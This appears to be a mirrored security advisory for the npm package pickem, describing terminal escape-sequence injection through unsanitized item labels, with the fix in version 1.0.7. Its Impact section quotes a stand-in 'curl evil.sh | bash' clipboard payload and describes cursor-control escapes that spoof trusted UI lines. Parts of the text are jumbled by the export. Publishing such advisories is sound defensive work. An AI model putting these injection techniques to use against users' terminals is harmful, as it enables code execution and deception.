pickem
Affected
- introduced
0, fixed1.0.7(semver)
Fixed versions
1.0.7
Fix
- Fixed version
1.0.7npm install [email protected]
Advisory
Also known as: None
pickem vulnerable to terminal escape-sequence injection via unsanitized item text
Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.
Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
curl evil.sh | bash into the user's clipboard; their next paste-into-shell is RCE.ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry).Any CLI that passes untrusted strings into pickem choices is affected.
Patches
Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.
Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.
High Basis: The source's own band: HIGH
0, fixed 1.0.7 (semver)1.0.7
1.0.7npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0